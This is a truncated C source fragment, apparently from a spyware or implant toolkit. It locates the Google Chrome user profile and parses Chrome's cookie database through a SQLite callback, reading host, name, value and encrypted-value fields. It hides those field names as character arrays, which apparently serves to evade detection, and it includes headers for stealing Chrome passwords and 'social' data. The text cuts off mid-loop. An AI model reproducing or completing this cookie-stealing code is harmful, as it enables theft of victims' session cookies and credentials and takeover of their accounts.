#include #include #include #include "globals.h" #include "zmem.h" #include "utils.h" #include "social.h" #include "cookies.h" #include "chrome_cookies.h" #include "chrome_password.h" #include "sqlite.h" #include "debug.h" /* LPSTR GetChromeProfilePath() { LPSTR strProfilePath = (LPSTR) zalloc(MAX_FILE_PATH+1); SHGetSpecialFolderPathA(NULL, strProfilePath, CSIDL_LOCAL_APPDATA, TRUE); _snprintf_s(strProfilePath, MAX_FILE_PATH, _TRUNCATE, "%s\\Google\\Chrome\\User Data\\Default", strProfilePath); // FIXME: array LPSTR strShortPath = (LPSTR) zalloc(MAX_FILE_PATH+1); GetShortPathNameA(strProfilePath, strShortPath, MAX_FILE_PATH); zfree(strProfilePath); if (!PathFileExistsA(strShortPath)) { zfree(strShortPath); return NULL; } return strShortPath; } */ int ParseChromeCookies(LPVOID lpReserved, int dwColumns, LPSTR *strValues, LPSTR *strNames) { LPSTR strHost, strName, strValue, strEncPass; strHost = strName = strValue = strEncPass = NULL; CHAR strFName[] = { 'n', 'a', 'm', 'e', 0x0 }; CHAR strFValue[] = { 'v', 'a', 'l', 'u', 'e', 0x0 }; CHAR strFHost[] = { 'h', 'o', 's', 't', '_', 'k', 'e', 'y', 0x0 }; CHAR strEncVal[] = { 'e', 'n', 'c', 'r', 'y', 'p', 't', 'e', 'd', '_', 'v', 'a', 'l', 'u', 'e', 0x0 }; for (int i=0; i